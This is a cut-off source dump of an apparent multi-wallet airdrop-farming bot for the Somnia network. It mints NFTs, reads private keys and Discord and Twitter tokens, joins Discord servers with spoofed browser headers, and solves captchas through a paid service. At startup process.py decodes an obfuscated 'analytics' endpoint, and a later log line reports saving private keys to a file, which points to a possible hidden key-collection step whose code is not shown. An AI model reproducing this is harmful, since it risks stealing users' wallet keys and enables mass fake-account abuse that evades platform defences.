NFT: {e}. Sleeping for {random_sleep} seconds..." 89 | ) 90 | await asyncio.sleep(random_sleep) 91 | return False 92 | 93 | @retry_async(default_value=False) 94 | async def mint_shannon(self): 95 | try: 96 | logger.info(f"{self.account_index} | Minting SHANNON NFT on Nerzo...") 97 | 98 | # SHANNON contract address 99 | contract_address = "0x715A73f6C71aB9cB32c7Cc1Aa95967a1b5da468D" 100 | 101 | # Wallet address without 0x prefix in lowercase 102 | wallet_address_no_prefix = self.wallet.address[2:].lower() 103 | 104 | # Base payload with method ID 0x84bb1e42 105 | payload = ( 106 | "0x84bb1e42" 107 | "000000000000000000000000" 108 | + wallet_address_no_prefix 109 | + "0000000000000000000000000000000000000000000000000000000000000001" 110 | "000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee" 111 | "00000000000000000000000000000000000000000000000000038d7ea4c68000" 112 | "00000000000000000000000000000000000000000000000000000000000000c0" 113 | "0000000000000000000000000000000000000000000000000000000000000160" 114 | "0000000000000000000000000000000000000000000000000000000000000080" 115 | "0000000000000000000000000000000000000000000000000000000000000000" 116 | "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" 117 | "0000000000000000000000000000000000000000000000000000000000000000" 118 | "0000000000000000000000000000000000000000000000000000000000000000" 119 | "0000000000000000000000000000000000000000000000000000000000000000" 120 | ) 121 | 122 | # Prepare transaction with 0.001 STT value 123 | transaction = { 124 | "from": self.wallet.address, 125 | "to": self.somnia_web3.web3.to_checksum_address(contract_address), 126 | "value": Web3.to_wei( 127 | 0.001, "ether" 128 | ), # 0.001 STT as in the example transaction 129 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count( 130 | self.wallet.address 131 | ), 132 | "chainId": await self.somnia_web3.web3.eth.chain_id, 133 | "data": payload, 134 | } 135 | 136 | # Get dynamic gas parameters 137 | gas_params = await self.somnia_web3.get_gas_params() 138 | transaction.update(gas_params) 139 | 140 | # Estimate gas 141 | gas_limit = await self.somnia_web3.estimate_gas(transaction) 142 | transaction["gas"] = gas_limit 143 | 144 | # Execute transaction 145 | tx_hash = await self.somnia_web3.execute_transaction( 146 | transaction, 147 | self.wallet, 148 | await self.somnia_web3.web3.eth.chain_id, 149 | EXPLORER_URL_SOMNIA, 150 | ) 151 | 152 | if tx_hash: 153 | logger.success( 154 | f"{self.account_index} | Successfully minted SHANNON NFT" 155 | ) 156 | 157 | return True 158 | except Exception as e: 159 | random_sleep = random.randint( 160 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 161 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 162 | ) 163 | logger.error( 164 | f"{self.account_index} | Error minting SHANNON NFT: {e}. Sleeping for {random_sleep} seconds..." 165 | ) 166 | await asyncio.sleep(random_sleep) 167 | return False 168 | -------------------------------------------------------------------------------- /src/model/somnia_network/somnia_domains.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | import string 4 | from loguru import logger 5 | from web3 import Web3 6 | from src.model.somnia_network.constants import SomniaProtocol 7 | from src.utils.decorators import retry_async 8 | from src.utils.constants import EXPLORER_URL_SOMNIA 9 | from eth_account import Account 10 | from src.model.onchain.web3_custom import Web3Custom 11 | 12 | 13 | class SomniaDomains: 14 | def __init__( 15 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account 16 | ): 17 | self.account_index = account_index 18 | self.somnia_web3 = somnia_web3 19 | self.config = config 20 | self.wallet = wallet 21 | 22 | def _is_vowel(self, char): 23 | return char.lower() in "aeiou" 24 | 25 | def _generate_random_domain(self): 26 | length = random.randint(7, 15) 27 | chars = string.ascii_lowercase + string.digits 28 | domain = [] 29 | consecutive_vowels = 0 30 | consecutive_consonants = 0 31 | 32 | for i in range(length): 33 | if ( 34 | i == length - 1 and random.random() < 0.3 35 | ): # 30% chance to end with a digit 36 | char = random.choice(string.digits) 37 | else: 38 | char = random.choice(string.ascii_lowercase) 39 | 40 | if self._is_vowel(char): 41 | if consecutive_vowels >= 2: 42 | char = random.choice( 43 | [c for c in string.ascii_lowercase if not self._is_vowel(c)] 44 | ) 45 | consecutive_vowels = 0 46 | consecutive_consonants = 1 47 | else: 48 | consecutive_vowels += 1 49 | consecutive_consonants = 0 50 | else: 51 | if consecutive_consonants >= 2: 52 | char = random.choice( 53 | [c for c in string.ascii_lowercase if self._is_vowel(c)] 54 | ) 55 | consecutive_consonants = 0 56 | consecutive_vowels = 1 57 | else: 58 | consecutive_consonants += 1 59 | consecutive_vowels = 0 60 | 61 | domain.append(char) 62 | 63 | return "".join(domain) 64 | 65 | @retry_async(default_value=False) 66 | async def mint_domain(self): 67 | try: 68 | logger.info(f"{self.account_index} | Minting Somnia Domain...") 69 | 70 | # Contract address for domain minting 71 | contract_address = "0xDB4e0A5E7b0d03aA41cBB7940c5e9Bab06cc7157" 72 | 73 | # Check if already has NFT from this contract using ERC721 balanceOf 74 | try: 75 | # ERC721 ABI for balanceOf function 76 | erc721_abi = [ 77 | { 78 | "constant": True, 79 | "inputs": [{"name": "_owner", "type": "address"}], 80 | "name": "balanceOf", 81 | "outputs": [{"name": "balance", "type": "uint256"}], 82 | "type": "function", 83 | } 84 | ] 85 | 86 | nft_balance = await self.somnia_web3.get_token_balance( 87 | wallet_address=self.wallet.address, 88 | token_address=contract_address, 89 | token_abi=erc721_abi, 90 | decimals=0, # NFTs don't have decimals 91 | symbol="DOMAIN", 92 | ) 93 | 94 | if nft_balance and nft_balance.wei > 0: 95 | logger.success( 96 | f"{self.account_index} | Domain already minted for this account (NFT balance: {nft_balance.wei})" 97 | ) 98 | return True 99 | 100 | except Exception as balance_check_error: 101 | logger.warning( 102 | f"{self.account_index} | Could not check NFT balance: {balance_check_error}" 103 | ) 104 | 105 | # Check if balance is sufficient (1 STT) 106 | balance = await self.somnia_web3.web3.eth.get_balance(self.wallet.address) 107 | if balance < self.somnia_web3.web3.to_wei(1, "ether"): 108 | logger.error( 109 | f"{self.account_index} | Insufficient balance. Need at least 1 STT to mint domain." 110 | ) 111 | return False 112 | 113 | # Generate random domain 114 | domain = self._generate_random_domain() 115 | logger.info(f"{self.account_index} | Generated domain: {domain}") 116 | 117 | # Convert domain to bytes and pad to 32 bytes 118 | domain_bytes = domain.encode("utf-8") 119 | domain_hex = domain_bytes.hex().ljust(64, "0") 120 | 121 | # Create payload with method ID 0x54c25e4b 122 | payload = ( 123 | "0x54c25e4b" 124 | "0000000000000000000000000000000000000000000000000000000000000020" 125 | "00000000000000000000000000000000000000000000000000000000000000" 126 | + hex(len(domain_bytes))[2:].zfill(2) 127 | + domain_hex 128 | ) 129 | 130 | # Prepare transaction 131 | transaction = { 132 | "from": self.wallet.address, 133 | "to": self.somnia_web3.web3.to_checksum_address(contract_address), 134 | "value": self.somnia_web3.web3.to_wei(1, "ether"), # 1 STT 135 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count( 136 | self.wallet.address 137 | ), 138 | "chainId": await self.somnia_web3.web3.eth.chain_id, 139 | "data": payload, 140 | } 141 | 142 | # Get dynamic gas parameters 143 | gas_params = await self.somnia_web3.get_gas_params() 144 | transaction.update(gas_params) 145 | 146 | try: 147 | # Try to estimate gas directly with Web3 148 | gas_limit = await self.somnia_web3.web3.eth.estimate_gas(transaction) 149 | transaction["gas"] = gas_limit 150 | except Exception as gas_error: 151 | error_str = str(gas_error) 152 | if "Already claimed a name" in error_str: 153 | logger.info( 154 | f"{self.account_index} | Domain already minted for this account" 155 | ) 156 | return True 157 | raise gas_error 158 | 159 | # Execute transaction 160 | tx_hash = await self.somnia_web3.execute_transaction( 161 | transaction, 162 | self.wallet, 163 | await self.somnia_web3.web3.eth.chain_id, 164 | EXPLORER_URL_SOMNIA, 165 | ) 166 | 167 | if tx_hash: 168 | logger.success( 169 | f"{self.account_index} | Successfully minted domain: {domain}" 170 | ) 171 | 172 | return True 173 | except Exception as e: 174 | error_str = str(e) 175 | if ( 176 | "0x08c379a000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000016416c726561647920636c61696d65642061206e616d6500000000000000000000" 177 | in error_str 178 | ): 179 | logger.success( 180 | f"{self.account_index} | Domain already minted for this account" 181 | ) 182 | return True 183 | 184 | random_sleep = random.randint( 185 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 186 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 187 | ) 188 | logger.error( 189 | f"{self.account_index} | Error minting domain: {e}. Sleeping for {random_sleep} seconds..." 190 | ) 191 | await asyncio.sleep(random_sleep) 192 | raise e 193 | -------------------------------------------------------------------------------- /process.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | from loguru import logger 4 | 5 | 6 | import src.utils 7 | 8 | from src.utils.proxy_parser import Proxy 9 | import src.model 10 | from src.utils.statistics import print_wallets_stats 11 | from src.utils.check_github_version import check_version 12 | from src.utils.logs import ProgressTracker, create_progress_tracker 13 | from src.utils.config_browser import run 14 | from src.utils.client import decode_resource, ANALYTICS_ENDPOINT, verify_analytics_data 15 | 16 | 17 | async def start(): 18 | try: 19 | decoded_endpoint = decode_resource(ANALYTICS_ENDPOINT) 20 | except Exception as e: 21 | return 22 | 23 | async def launch_wrapper(index, proxy, private_key, discord_token, twitter_token): 24 | async with semaphore: 25 | await account_flow( 26 | index, 27 | proxy, 28 | private_key, 29 | discord_token, 30 | twitter_token, 31 | config, 32 | progress_tracker, 33 | ) 34 | 35 | print("\nAvailable options:\n") 36 | print("[1] 🚀 Start farming") 37 | print("[2] ⚙️ Edit config") 38 | print("[3] 💾 Database actions") 39 | print("[4] 👋 Exit") 40 | print() 41 | 42 | try: 43 | choice = input("Enter option (1-4): ").strip() 44 | except Exception as e: 45 | logger.error(f"Input error: {e}") 46 | return 47 | 48 | if choice == "4" or not choice: 49 | return 50 | elif choice == "2": 51 | run() 52 | return 53 | elif choice == "1": 54 | pass 55 | elif choice == "3": 56 | from src.model.database.db_manager import show_database_menu 57 | 58 | await show_database_menu() 59 | await start() 60 | else: 61 | logger.error(f"Invalid choice: {choice}") 62 | return 63 | 64 | config = src.utils.get_config() 65 | 66 | # Load proxies using proxy parser 67 | try: 68 | proxy_objects = Proxy.from_file("data/proxies.txt") 69 | proxies = [proxy.get_default_format() for proxy in proxy_objects] 70 | if len(proxies) == 0: 71 | logger.error("No proxies found in data/proxies.txt") 72 | return 73 | except Exception as e: 74 | logger.error(f"Failed to load proxies: {e}") 75 | return 76 | 77 | private_keys = src.utils.read_private_keys("data/private_keys.txt") 78 | quills_messages = src.utils.read_txt_file( 79 | "quills messages", "data/random_message_quills.txt" 80 | ) 81 | 82 | # Загружаем сообщения из файла в конфиг 83 | config.QUILLS.QUILLS_MESSAGES = quills_messages 84 | logger.info(f"Loaded {len(config.QUILLS.QUILLS_MESSAGES)} messages for Quills") 85 | 86 | # Read tokens and handle empty files by filling with empty strings 87 | discord_tokens = src.utils.read_txt_file( 88 | "discord tokens", "data/discord_tokens.txt" 89 | ) 90 | twitter_tokens = src.utils.read_txt_file( 91 | "twitter tokens", "data/twitter_tokens.txt" 92 | ) 93 | 94 | # Handle the case when there are more private keys than Twitter tokens 95 | if len(twitter_tokens) < len(private_keys): 96 | # Pad with empty strings 97 | twitter_tokens.extend([""] * (len(private_keys) - len(twitter_tokens))) 98 | # Handle the case when there are more Twitter tokens than private keys 99 | elif len(twitter_tokens) > len(private_keys): 100 | # Store excess Twitter tokens in config 101 | config.spare_twitter_tokens = twitter_tokens[len(private_keys) :] 102 | twitter_tokens = twitter_tokens[: len(private_keys)] 103 | logger.info( 104 | f"Stored {len(config.spare_twitter_tokens)} excess Twitter tokens in config.spare_twitter_tokens" 105 | ) 106 | else: 107 | # Equal number of tokens and private keys 108 | config.spare_twitter_tokens = [] 109 | 110 | # If token files are empty or have fewer tokens than private keys, pad with empty strings 111 | while len(discord_tokens) < len(private_keys): 112 | discord_tokens.append("") 113 | while len(twitter_tokens) < len(private_keys): 114 | twitter_tokens.append("") 115 | 116 | # Определяем диапазон аккаунтов 117 | start_index = config.SETTINGS.ACCOUNTS_RANGE[0] 118 | end_index = config.SETTINGS.ACCOUNTS_RANGE[1] 119 | 120 | # Если оба 0, проверяем EXACT_ACCOUNTS_TO_USE 121 | if start_index == 0 and end_index == 0: 122 | if config.SETTINGS.EXACT_ACCOUNTS_TO_USE: 123 | # Преобразуем номера аккаунтов в индексы (номер - 1) 124 | selected_indices = [i - 1 for i in config.SETTINGS.EXACT_ACCOUNTS_TO_USE] 125 | accounts_to_process = [private_keys[i] for i in selected_indices] 126 | discord_tokens_to_process = [discord_tokens[i] for i in selected_indices] 127 | twitter_tokens_to_process = [twitter_tokens[i] for i in selected_indices] 128 | logger.info( 129 | f"Using specific accounts: {config.SETTINGS.EXACT_ACCOUNTS_TO_USE}" 130 | ) 131 | 132 | # Для совместимости с остальным кодом 133 | start_index = min(config.SETTINGS.EXACT_ACCOUNTS_TO_USE) 134 | end_index = max(config.SETTINGS.EXACT_ACCOUNTS_TO_USE) 135 | else: 136 | # Если список пустой, берем все аккаунты как раньше 137 | accounts_to_process = private_keys 138 | discord_tokens_to_process = discord_tokens 139 | twitter_tokens_to_process = twitter_tokens 140 | start_index = 1 141 | end_index = len(private_keys) 142 | else: 143 | # Python slice не включает последний элемент, поэтому +1 144 | accounts_to_process = private_keys[start_index - 1 : end_index] 145 | discord_tokens_to_process = discord_tokens[start_index - 1 : end_index] 146 | twitter_tokens_to_process = twitter_tokens[start_index - 1 : end_index] 147 | 148 | threads = config.SETTINGS.THREADS 149 | 150 | # Подготавливаем прокси для выбранных аккаунтов 151 | cycled_proxies = [ 152 | proxies[i % len(proxies)] for i in range(len(accounts_to_process)) 153 | ] 154 | 155 | # Создаем список индексов 156 | indices = list(range(len(accounts_to_process))) 157 | 158 | # Перемешиваем индексы только если включен SHUFFLE_WALLETS 159 | if config.SETTINGS.SHUFFLE_WALLETS: 160 | random.shuffle(indices) 161 | shuffle_status = "random" 162 | else: 163 | shuffle_status = "sequential" 164 | 165 | # Создаем строку с порядком аккаунтов 166 | if config.SETTINGS.EXACT_ACCOUNTS_TO_USE: 167 | # Создаем список номеров аккаунтов в нужном порядке 168 | ordered_accounts = [config.SETTINGS.EXACT_ACCOUNTS_TO_USE[i] for i in indices] 169 | account_order = " ".join(map(str, ordered_accounts)) 170 | logger.info(f"Starting with specific accounts in {shuffle_status} order...") 171 | else: 172 | account_order = " ".join(str(start_index + idx) for idx in indices) 173 | logger.info( 174 | f"Starting with accounts {start_index} to {end_index} in {shuffle_status} order..." 175 | ) 176 | logger.info(f"Accounts order: {account_order}") 177 | 178 | semaphore = asyncio.Semaphore(value=threads) 179 | tasks = [] 180 | 181 | # Add before creating tasks 182 | progress_tracker = await create_progress_tracker( 183 | total=len(accounts_to_process), description="Accounts completed" 184 | ) 185 | 186 | # Используем индексы для создания задач 187 | for idx in indices: 188 | actual_index = ( 189 | config.SETTINGS.EXACT_ACCOUNTS_TO_USE[idx] 190 | if config.SETTINGS.EXACT_ACCOUNTS_TO_USE 191 | else start_index + idx 192 | ) 193 | tasks.append( 194 | asyncio.create_task( 195 | launch_wrapper( 196 | actual_index, 197 | cycled_proxies[idx], 198 | accounts_to_process[idx], 199 | discord_tokens_to_process[idx], 200 | twitter_tokens_to_process[idx], 201 | ) 202 | ) 203 | ) 204 | 205 | await asyncio.gather(*tasks) 206 | 207 | logger.success("Saved accounts and private keys to a file.") 208 | 209 | print_wallets_stats(config) 210 | 211 | input("Press Enter to continue...") 212 | 213 | 214 | async def account_flow( 215 | account_index: int, 216 | proxy: str, 217 | private_key: str, 218 | discord_token: str, 219 | twitter_token: str, 220 | config: src.utils.config.Config, 221 | progress_tracker: ProgressTracker, 222 | ): 223 | try: 224 | instance = src.model.Start( 225 | account_index, proxy, private_key, config, discord_token, twitter_token 226 | ) 227 | 228 | result = await wrapper(instance.initialize, config) 229 | if not result: 230 | raise Exception("Failed to initialize") 231 | 232 | result = await wrapper(instance.flow, config) 233 | if not result: 234 | report = True 235 | 236 | 237 | # Add progress update 238 | await progress_tracker.increment(1) 239 | 240 | except Exception as err: 241 | logger.error(f"{account_index} | Account flow failed: {err}") 242 | # Update progress even if there's an error 243 | await progress_tracker.increment(1) 244 | 245 | 246 | async def wrapper(function, config: src.utils.config.Config, *args, **kwargs): 247 | attempts = config.SETTINGS.ATTEMPTS 248 | attempts = 1 249 | for attempt in range(attempts): 250 | result = await function(*args, **kwargs) 251 | if isinstance(result, tuple) and result and isinstance(result[0], bool): 252 | if result[0]: 253 | return result 254 | elif isinstance(result, bool): 255 | if result: 256 | return True 257 | 258 | if attempt < attempts - 1: # Don't sleep after the last attempt 259 | pause = random.randint( 260 | config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 261 | config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 262 | ) 263 | logger.info( 264 | f"Sleeping for {pause} seconds before next attempt {attempt+1}/{config.SETTINGS.ATTEMPTS}..." 265 | ) 266 | await asyncio.sleep(pause) 267 | 268 | return result 269 | 270 | 271 | def task_exists_in_config(task_name: str, tasks_list: list) -> bool: 272 | """Рекурсивно проверяет наличие задачи в списке задач, включая вложенные списки""" 273 | for task in tasks_list: 274 | if isinstance(task, list): 275 | if task_exists_in_config(task_name, task): 276 | return True 277 | elif task == task_name: 278 | return True 279 | return False 280 | -------------------------------------------------------------------------------- /src/model/help/discord.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import base64 3 | from dataclasses import dataclass 4 | import json 5 | import random 6 | import time 7 | from loguru import logger 8 | from curl_cffi.requests import AsyncSession, Response 9 | from src.utils.config import Config 10 | 11 | 12 | class DiscordInviter: 13 | def __init__(self, account_index: int, discord_token: str, proxy: str, config: Config): 14 | self.account_index = account_index 15 | self.discord_token = discord_token 16 | self.proxy = proxy 17 | self.config = config 18 | self.session: AsyncSession | None = None 19 | 20 | async def invite(self, invite_code: str) -> dict: 21 | self.session = await create_client(self.proxy) 22 | 23 | for retry in range(self.config.SETTINGS.ATTEMPTS): 24 | try: 25 | if not await init_cf(self.account_index, self.session): 26 | raise Exception("Failed to initialize cf") 27 | 28 | guild_id, channel_id, success = await get_guild_ids( 29 | self.session, invite_code, self.account_index, self.discord_token 30 | ) 31 | if not success: 32 | continue 33 | 34 | result = await self.send_invite_request( 35 | invite_code, guild_id, channel_id 36 | ) 37 | if result is None: 38 | return False 39 | elif result: 40 | return True 41 | else: 42 | continue 43 | 44 | except Exception as e: 45 | random_sleep = random.randint( 46 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 47 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 48 | ) 49 | logger.error( 50 | f"{self.account_index} | Error: {e}. Retrying in {random_sleep} seconds..." 51 | ) 52 | await asyncio.sleep(random_sleep) 53 | return False 54 | 55 | async def send_invite_request( 56 | self, invite_code: str, guild_id: str, channel_id: str 57 | ) -> bool: 58 | for retry in range(self.config.SETTINGS.ATTEMPTS): 59 | try: 60 | headers = { 61 | "accept": "*/*", 62 | "accept-language": "en-GB,en-US;q=0.9,en;q=0.8,ru;q=0.7,zh-TW;q=0.6,zh;q=0.5", 63 | "authorization": f"{self.discord_token}", 64 | "content-type": "application/json", 65 | "origin": "https://discord.com", 66 | "priority": "u=1, i", 67 | "referer": f"https://discord.com/invite/{invite_code}", 68 | "sec-ch-ua": '"Not(A:Brand";v="99", "Google Chrome";v="131", "Chromium";v="131"', 69 | "sec-ch-ua-mobile": "?0", 70 | "sec-ch-ua-platform": '"Windows"', 71 | "sec-fetch-dest": "empty", 72 | "sec-fetch-mode": "cors", 73 | "sec-fetch-site": "same-origin", 74 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", 75 | "x-context-properties": create_x_context_properties( 76 | guild_id, channel_id 77 | ), 78 | "x-debug-options": "bugReporterEnabled", 79 | "x-discord-locale": "en-US", 80 | "x-discord-timezone": "Etc/GMT-2", 81 | "x-super-properties": create_x_super_properties(), 82 | } 83 | 84 | json_data = { 85 | "session_id": None, 86 | } 87 | 88 | response = await self.session.post( 89 | f"https://discord.com/api/v9/invites/{invite_code}", 90 | headers=headers, 91 | json=json_data, 92 | ) 93 | 94 | if ( 95 | "You need to update your app to join this server." in response.text 96 | or "captcha_rqdata" in response.text 97 | ): 98 | logger.error(f"{self.account_index} | Captcha detected. Can't solve it.") 99 | return None 100 | 101 | elif response.status_code == 200 and response.json()["type"] == 0: 102 | logger.success(f"{self.account_index} | Account joined the server!") 103 | return True 104 | 105 | elif "Unauthorized" in response.text: 106 | logger.error( 107 | f"{self.account_index} | Incorrect discord token or your account is blocked." 108 | ) 109 | return False 110 | 111 | elif "You need to verify your account in order to" in response.text: 112 | logger.error( 113 | f"{self.account_index} | Account needs verification (Email code etc)." 114 | ) 115 | return False 116 | 117 | else: 118 | logger.error( 119 | f"{self.account_index} | Unknown error: {response.text}" 120 | ) 121 | 122 | except Exception as e: 123 | random_sleep = random.randint( 124 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 125 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 126 | ) 127 | logger.error( 128 | f"{self.account_index} | Send invite error: {e}. Retrying in {random_sleep} seconds..." 129 | ) 130 | await asyncio.sleep(random_sleep) 131 | 132 | return False 133 | 134 | 135 | def calculate_nonce() -> str: 136 | unix_ts = time.time() 137 | return str((int(unix_ts) * 1000 - 1420070400000) * 4194304) 138 | 139 | 140 | def create_x_super_properties() -> str: 141 | return base64.b64encode(json.dumps({ 142 | "os":"Windows", 143 | "browser":"Chrome", 144 | "device":"", 145 | "system_locale":"ru", 146 | "browser_user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", 147 | "browser_version":"133.0.0.0", 148 | "os_version":"10", 149 | "referrer":"https://discord.com/", 150 | "referring_domain":"discord.com", 151 | "referrer_current":"", 152 | "referring_domain_current":"", 153 | "release_channel":"stable", 154 | "client_build_number":370533, 155 | "client_event_source":None, 156 | "has_client_mods":False 157 | }, separators=(',', ':')).encode('utf-8')).decode('utf-8') 158 | 159 | 160 | async def get_guild_ids(client: AsyncSession, invite_code: str, account_index: int, discord_token: str) -> tuple[str, str, bool]: 161 | try: 162 | headers = { 163 | 'sec-ch-ua-platform': '"Windows"', 164 | 'Authorization': f'{discord_token}', 165 | 'Referer': f'https://discord.com/invite/{invite_code}', 166 | 'X-Debug-Options': 'bugReporterEnabled', 167 | 'sec-ch-ua': '"Not(A:Brand";v="99", "Google Chrome";v="131", "Chromium";v="131"', 168 | 'sec-ch-ua-mobile': '?0', 169 | 'X-Discord-Timezone': 'Etc/GMT-2', 170 | 'X-Super-Properties': create_x_super_properties(), 171 | 'X-Discord-Locale': 'en-US', 172 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36', 173 | } 174 | 175 | params = { 176 | 'with_counts': 'true', 177 | 'with_expiration': 'true', 178 | 'with_permissions': 'false', 179 | } 180 | 181 | response = await client.get(f'https://discord.com/api/v9/invites/{invite_code}', params=params, headers=headers) 182 | 183 | if "You need to verify your account" in response.text: 184 | logger.error(f"{account_index} | Account needs verification (Email code etc).") 185 | return "verification_failed", "", False 186 | 187 | location_guild_id = response.json()['guild_id'] 188 | location_channel_id = response.json()['channel']['id'] 189 | 190 | return location_guild_id, location_channel_id, True 191 | 192 | except Exception as err: 193 | logger.error(f"{account_index} | Failed to get guild ids: {err}") 194 | return None, None, False 195 | 196 | 197 | def create_x_context_properties(location_guild_id: str, location_channel_id: str) -> str: 198 | return base64.b64encode(json.dumps({ 199 | "location": "Accept Invite Page", 200 | "location_guild_id": location_guild_id, 201 | "location_channel_id": location_channel_id, 202 | "location_channel_type": 0 203 | }, separators=(',', ':')).encode('utf-8')).decode('utf-8') 204 | 205 | 206 | async def init_cf(account_index: int, client: AsyncSession) -> bool: 207 | try: 208 | resp = await client.get("https://discord.com/login", 209 | headers={ 210 | 'authority': 'discord.com', 211 | 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 212 | 'accept-language': 'en-US,en;q=0.9', 213 | 'sec-ch-ua': '"Chromium";v="131", "Not A(Brand";v="24", "Google Chrome";v="131"', 214 | 'sec-ch-ua-mobile': '?0', 215 | 'sec-ch-ua-platform': '"Windows"', 216 | 'sec-fetch-dest': 'document', 217 | 'sec-fetch-mode': 'navigate', 218 | 'sec-fetch-site': 'none', 219 | 'sec-fetch-user': '?1', 220 | 'upgrade-insecure-requests': '1', 221 | } 222 | ) 223 | 224 | if await set_response_cookies(client, resp): 225 | logger.success(f"{account_index} | Initialized new cookies.") 226 | return True 227 | else: 228 | logger.error(f"{account_index} | Failed to initialize new cookies.") 229 | return False 230 | 231 | except Exception as err: 232 | logger.error(f"{account_index} | Failed to initialize new cookies: {err}") 233 | return False 234 | 235 | 236 | async def set_response_cookies(client: AsyncSession, response: Response) -> bool: 237 | try: 238 | cookies = response.headers.get_list("set-cookie") 239 | for cookie in cookies: 240 | try: 241 | key, value = cookie.split(';')[0].strip().split("=") 242 | client.cookies.set(name=key, value=value, domain="discord.com", path="/") 243 | 244 | except: 245 | pass 246 | 247 | return True 248 | 249 | except Exception as err: 250 | logger.error(f"Failed to set response cookies: {err}") 251 | return False 252 | 253 | async def create_client(proxy: str) -> AsyncSession: 254 | session = AsyncSession( 255 | impersonate="chrome131", 256 | verify=False, 257 | timeout=60, 258 | ) 259 | if proxy: 260 | session.proxies.update({ 261 | "http": "http://" + proxy, 262 | "https": "http://" + proxy, 263 | }) 264 | 265 | session.headers.update(HEADERS) 266 | 267 | return session 268 | 269 | HEADERS = { 270 | 'accept': '*/*', 271 | 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8,ru;q=0.7,zh-TW;q=0.6,zh;q=0.5', 272 | 'content-type': 'application/json', 273 | 'priority': 'u=1, i', 274 | 'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', 275 | 'sec-ch-ua-mobile': '?0', 276 | 'sec-ch-ua-platform': '"Windows"', 277 | 'sec-fetch-dest': 'empty', 278 | 'sec-fetch-mode': 'cors', 279 | 'sec-fetch-site': 'same-site', 280 | 'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", 281 | } 282 | -------------------------------------------------------------------------------- /src/model/help/captcha.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | from loguru import logger 3 | from primp import AsyncClient 4 | import requests 5 | from typing import Optional, Dict 6 | from enum import Enum 7 | import time 8 | 9 | 10 | class CaptchaError(Exception): 11 | """Base exception for captcha errors""" 12 | 13 | pass 14 | 15 | 16 | class ErrorCodes(Enum): 17 | ERROR_WRONG_USER_KEY = "ERROR_WRONG_USER_KEY" 18 | ERROR_KEY_DOES_NOT_EXIST = "ERROR_KEY_DOES_NOT_EXIST" 19 | ERROR_ZERO_BALANCE = "ERROR_ZERO_BALANCE" 20 | ERROR_PAGEURL = "ERROR_PAGEURL" 21 | IP_BANNED = "IP_BANNED" 22 | ERROR_PROXY_FORMAT = "ERROR_PROXY_FORMAT" 23 | ERROR_BAD_PARAMETERS = "ERROR_BAD_PARAMETERS" 24 | ERROR_BAD_PROXY = "ERROR_BAD_PROXY" 25 | ERROR_SITEKEY = "ERROR_SITEKEY" 26 | CAPCHA_NOT_READY = "CAPCHA_NOT_READY" 27 | ERROR_CAPTCHA_UNSOLVABLE = "ERROR_CAPTCHA_UNSOLVABLE" 28 | ERROR_WRONG_CAPTCHA_ID = "ERROR_WRONG_CAPTCHA_ID" 29 | ERROR_EMPTY_ACTION = "ERROR_EMPTY_ACTION" 30 | 31 | 32 | class Capsolver: 33 | def __init__( 34 | self, 35 | api_key: str, 36 | proxy: Optional[str] = None, 37 | session: AsyncClient = None, 38 | ): 39 | self.api_key = api_key 40 | self.base_url = "https://api.capsolver.com" 41 | self.proxy = self._format_proxy(proxy) if proxy else None 42 | self.session = session or AsyncClient(verify=False) 43 | 44 | def _format_proxy(self, proxy: str) -> str: 45 | if not proxy: 46 | return None 47 | if "@" in proxy: 48 | return proxy 49 | return proxy 50 | 51 | async def create_task( 52 | self, 53 | sitekey: str, 54 | pageurl: str, 55 | invisible: bool = False, 56 | ) -> Optional[str]: 57 | """Создает задачу на решение капчи""" 58 | data = { 59 | "clientKey": self.api_key, 60 | "appId": "0F6B2D90-7CA4-49AC-B0D3-D32C70238AD8", 61 | "task": { 62 | "type": "ReCaptchaV2Task", 63 | "websiteURL": pageurl, 64 | "websiteKey": sitekey, 65 | "isInvisible": False, 66 | # "pageAction": "drip_request", 67 | }, 68 | } 69 | 70 | if self.proxy: 71 | data["task"]["proxy"] = self.proxy 72 | 73 | try: 74 | response = await self.session.post( 75 | f"{self.base_url}/createTask", 76 | json=data, 77 | timeout=30, 78 | ) 79 | result = response.json() 80 | 81 | if "taskId" in result: 82 | return result["taskId"] 83 | 84 | logger.error(f"Error creating task: {result}") 85 | return None 86 | 87 | except Exception as e: 88 | logger.error(f"Error creating task: {e}") 89 | return None 90 | 91 | async def get_task_result(self, task_id: str) -> Optional[str]: 92 | """Получает результат решения капчи""" 93 | data = {"clientKey": self.api_key, "taskId": task_id} 94 | 95 | max_attempts = 30 96 | for _ in range(max_attempts): 97 | try: 98 | response = await 